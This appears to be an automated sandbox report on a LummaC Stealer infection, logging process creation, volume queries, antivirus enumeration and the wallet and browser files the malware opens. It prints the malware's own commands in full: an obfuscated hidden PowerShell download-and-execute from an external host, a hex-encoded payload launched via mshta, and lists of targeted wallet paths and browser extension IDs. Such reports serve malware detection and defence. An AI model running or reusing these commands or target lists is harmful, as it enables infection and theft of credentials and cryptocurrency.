Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function htxbx($eywy){return -split ($eywy -replace '..', '0x$& ')};$smkl = htxbx('0f7a7222e17cfb1bb92172cfd10b1a0a35f2d236de6dd8d72d66b13fedb4d7cf6a19fa5e844d4ea4bda294b8324f3d40bbe3a32fa2f602f7eec40e64690703556f440e32e54db889f70490bfab024711ba156e7ef3961fb117120cba4913ea1e5d84acf6f55eba7c85c4edeae94ca6f88e91d98428ff8c02dea04eb6bc87cd7054da2412b8e711f8c1a790edd10e33300549b54953e993973674c4c6b322df9a94608d0e38bf1b68335f96bfdc063a0acac3f5674c4fb62fd421afd6b98437f6e9805448603b36d23a3100350c5424a024debee06efccb25bc5c2ed9e55f0ecdf8d82a5f5b3dde3dd01d9414613dc77c41ff3714787ca86bab941a84fa1697bfd67ae1442e846f4c0bcd12067b97f4c4761c790d99134685bd29d33eb13930e881348cceb581a392f1c4d3a954998de262a182e3ba192bc030972631dff7761b192a8e761fb393f15cec5503f481993757b7386a6defcb30893cb5510f8d9dfcd357a4503657121993c1da20619fc16a76829a33dc8bec2c25b345e40d743ae3fa6908a2256106edb3d401a541bbc6b63d25361ed338a28142aedfd2e2afa4224709fd2ab99578cad2d426ac01b625107469b2cfc6f80544cd0418a85df7b0034592f05c391690f1cb1f0e38c8c36984958b671982168da7fcd4ba7b76da7d1f52fbd0449c19027b914fde6de5faaa8cb6bf3f2a4274a8f5cceed4e85fe2bae43e079db816a326cfec5cf89e8bda8c7656d7abb681564558044e3e53669ee9994092f98411ab22f4889a3454bb3da6791db0f9c47830f4c06a5461824c4cd5af8028e685aaa4298897434d4728edcf0c7f21c0c4a773c3b93b8d500ad8247e5f882a6d58627b2848a409f59326ce2f3c94419453cbd81d72a42efc7700bf0f755ebf04e26adc65680a8ab81dc31b386413f68bdcdf1c0851eabfb0bbae9ccc1eec68f50a6c1e0d56474f854ae2306a1e2a3f8b94a0127dd3e51c4a536048ef14cdbf4b53a4e0c3eefefa4eed2cfe4541e54f2d69773940d13f9015002c0555fdc45820883ee8d40d25214d7139e6e12032c2bfe100c55fa40524f297c439b1a01353d2284c6cef35ac57e4400eda829b3e642624cdfa0bc2973809dc3345e9e56c2d1156147cea34b91cfff59896e54208b4cfd4207a17f7308c33d76c6413ab80c8d92695ddc466bc03f75d4179a7f1740b7a3e5a6c6d80f2fb8d74ffb55bd62e27d14a6503857d18986d8e19a1d8e35ad79fee150abe148d1b1c3e2d9d92c0b0bdf7de18dff55fd02b3212cc62401c8900caecaaade5361bfc807f5384eea46babda1f2032769cda2b56a725574ad832150b7026d06d0547d37743bd92a3253a6be7c4be7457307e6cde57b7840c35ecc06809a8fa8bf2351601ea6c1e3a025ba6cd107626bbf16cfed99355a4ac130ad2bef7d8e3b1d936dc4d667bae44082e02e0251c2355712885575901aefdc0139aa662d0b9c4acbf7403673b3c7ddf9e6e3ab15a286fc41c2d998ed91edd22436ba61dd3f3d745e36681712d110962fbd642a2cb901801e7af328696116a425ac0d6f7c474a297ebc5f89a3c52ee8db03de0214b816208ad47e4a4eb4864f152130aea847ad1031a9dded4248d031bce58b447eb0cc8763d2cdbf3348d053d54b42c707d6de3b3166fbf46cfb8f8ab676945a5d0b7ff4dd2daf54b40f69592d58649efe2b1f4cdadc627160733882c0c916de660976cbcd588f71a3d08308a76f8b82ed698b928d9b2c66911f8a2975942ac360069ac4b4d6c8c7e50e99b0cbd066a58477b4f336f9b12a5fe792e23ed42c6032b887e634abca3d08214b16e5953bbd4ffbd057e229e4b7a149d754e75229cd7b38cb289b484ae636864dafc411fea976653dc57f0e7b6ea81960ac0059db8fd2e23f7d92abd90cdc902bb6f71f0094ef783bb18777a34e0b7531a8c1a945811e9cb1db684d8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -w hidden -ep bypass -nop -command set-item variable:/b 'net.webclient';sv plm 'https://atsuka.thrivezest.org/hubus.xlsx';sl;si variable:\z (.$executioncontext.(($executioncontext\|gm)[6].name).(($executioncontext.(($executioncontext\|gm)[6].name).psobject.methods\|where-object{(dir variable:\_).value.name-like'gcmt'}).name).invoke($executioncontext.(($executioncontext\|gm)[6].name).(($executioncontext.(($executioncontext\|gm)[6].name)\|gm\|where-object{(dir variable:\_).value.name-like'come'}).name).invoke('w-ct',1,$true))(childitem variable:\b).value);si variable:o ((((variable z).value\|gm)\|where-object{(dir variable:\_).value.name-like'wng'}).name);($executioncontext\|foreach{(dir variable:\_).value.(($executioncontext\|gm)[6].name)\|foreach{$_.(($executioncontext.(($executioncontext\|gm)[6].name).psobject.methods\|where-object{(dir variable:\_).value.name-like'wi*ck'}).name).invoke((variable z).value.((gv o -valueo)).invoke((variable plm).value))}}).invoke()
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function htxbx($eywy){return -split ($eywy -replace '..', '0x$& ')};$smkl = htxbx('0f7a7222e17cfb1bb92172cfd10b1a0a35f2d236de6dd8d72d66b13fedb4d7cf6a19fa5e844d4ea4bda294b8324f3d40bbe3a32fa2f602f7eec40e64690703556f440e32e54db889f70490bfab024711ba156e7ef3961fb117120cba4913ea1e5d84acf6f55eba7c85c4edeae94ca6f88e91d98428ff8c02dea04eb6bc87cd7054da2412b8e711f8c1a790edd10e33300549b54953e993973674c4c6b322df9a94608d0e38bf1b68335f96bfdc063a0acac3f5674c4fb62fd421afd6b98437f6e9805448603b36d23a3100350c5424a024debee06efccb25bc5c2ed9e55f0ecdf8d82a5f5b3dde3dd01d9414613dc77c41ff3714787ca86bab941a84fa1697bfd67ae1442e846f4c0bcd12067b97f4c4761c790d99134685bd29d33eb13930e881348cceb581a392f1c4d3a954998de262a182e3ba192bc030972631dff7761b192a8e761fb393f15cec5503f481993757b7386a6defcb30893cb5510f8d9dfcd357a4503657121993c1da20619fc16a76829a33dc8bec2c25b345e40d743ae3fa6908a2256106edb3d401a541bbc6b63d25361ed338a28142aedfd2e2afa4224709fd2ab99578cad2d426ac01b625107469b2cfc6f80544cd0418a85df7b0034592f05c391690f1cb1f0e38c8c36984958b671982168da7fcd4ba7b76da7d1f52fbd0449c19027b914fde6de5faaa8cb6bf3f2a4274a8f5cceed4e85fe2bae43e079db816a326cfec5cf89e8bda8c7656d7abb681564558044e3e53669ee9994092f98411ab22f4889a3454bb3da6791db0f9c47830f4c06a5461824c4cd5af8028e685aaa4298897434d4728edcf0c7f21c0c4a773c3b93b8d500ad8247e5f882a6d58627b2848a409f59326ce2f3c94419453cbd81d72a42efc7700bf0f755ebf04e26adc65680a8ab81dc31b386413f68bdcdf1c0851eabfb0bbae9ccc1eec68f50a6c1e0d56474f854ae2306a1e2a3f8b94a0127dd3e51c4a536048ef14cdbf4b53a4e0c3eefefa4eed2cfe4541e54f2d69773940d13f9015002c0555fdc45820883ee8d40d25214d7139e6e12032c2bfe100c55fa40524f297c439b1a01353d2284c6cef35ac57e4400eda829b3e642624cdfa0bc2973809dc3345e9e56c2d1156147cea34b91cfff59896e54208b4cfd4207a17f7308c33d76c6413ab80c8d92695ddc466bc03f75d4179a7f1740b7a3e5a6c6d80f2fb8d74ffb55bd62e27d14a6503857d18986d8e19a1d8e35ad79fee150abe148d1b1c3e2d9d92c0b0bdf7de18dff55fd02b3212cc62401c8900caecaaade5361bfc807f5384eea46babda1f2032769cda2b56a725574ad832150b7026d06d0547d37743bd92a3253a6be7c4be7457307e6cde57b7840c35ecc06809a8fa8bf2351601ea6c1e3a025ba6cd107626bbf16cfed99355a4ac130ad2bef7d8e3b1d936dc4d667bae44082e02e0251c2355712885575901aefdc0139aa662d0b9c4acbf7403673b3c7ddf9e6e3ab15a286fc41c2d998ed91edd22436ba61dd3f3d745e36681712d110962fbd642a2cb901801e7af328696116a425ac0d6f7c474a297ebc5f89a3c52ee8db03de0214b816208ad47e4a4eb4864f152130aea847ad1031a9dded4248d031bce58b447eb0cc8763d2cdbf3348d053d54b42c707d6de3b3166fbf46cfb8f8ab676945a5d0b7ff4dd2daf54b40f69592d58649efe2b1f4cdadc627160733882c0c916de660976cbcd588f71a3d08308a76f8b82ed698b928d9b2c66911f8a2975942ac360069ac4b4d6c8c7e50e99b0cbd066a58477b4f336f9b12a5fe792e23ed42c6032b887e634abca3d08214b16e5953bbd4ffbd057e229e4b7a149d754e75229cd7b38cb289b484ae636864dafc411fea976653dc57f0e7b6ea81960ac0059db8fd2e23f7d92abd90cdc902bb6f71f0094ef783bb18777a34e0b7531a8c1a945811e9cb1db684d8	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -w hidden -ep bypass -nop -command set-item variable:/b 'net.webclient';sv plm 'https://atsuka.thrivezest.org/hubus.xlsx';sl;si variable:\z (.$executioncontext.(($executioncontext\|gm)[6].name).(($executioncontext.(($executioncontext\|gm)[6].name).psobject.methods\|where-object{(dir variable:\_).value.name-like'gcmt'}).name).invoke($executioncontext.(($executioncontext\|gm)[6].name).(($executioncontext.(($executioncontext\|gm)[6].name)\|gm\|where-object{(dir variable:\_).value.name-like'come'}).name).invoke('w-ct',1,$true))(childitem variable:\b).value);si variable:o ((((variable z).value\|gm)\|where-object{(dir variable:\_).value.name-like'wng'}).name);($executioncontext\|foreach{(dir variable:\_).value.(($executioncontext\|gm)[6].name)\|foreach{$_.(($executioncontext.(($executioncontext\|gm)[6].name).psobject.methods\|where-object{(dir variable:\_).value.name-like'wi*ck'}).name).invoke((variable z).value.((gv o -valueo)).invoke((variable plm).value))}}).invoke()	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: powershell.exe, 00000016.00000002.3665275832.0000000002C53000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1208, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: powershell.exe, 00000016.00000002.3668769118.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ctrum\\wallets","m":["*"],"z":"Wallets/Electrum","d":0,"fs":20971520},{"t":0<
Source: powershell.exe, 00000016.00000002.3668769118.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 1520},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m":["*"],"z":"Wallets/E
Source: powershell.exe, 00000016.00000002.3668769118.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: .json",".finger-print.fp","simple-storage.json","window-state.json"],"z":"Wa@
Source: powershell.exe, 00000016.00000002.3668769118.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: nance","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\Indexed
Source: powershell.exe, 00000016.00000002.3668769118.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus",
Source: powershell.exe, 00000016.00000002.3668769118.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus",
Source: powershell.exe, 00000016.00000002.3668769118.0000000002CC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":209L
Source: powershell.exe, 00000016.00000002.3665275832.0000000002C6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: powershell.exe, 00000004.00000002.2195805033.0000000007740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
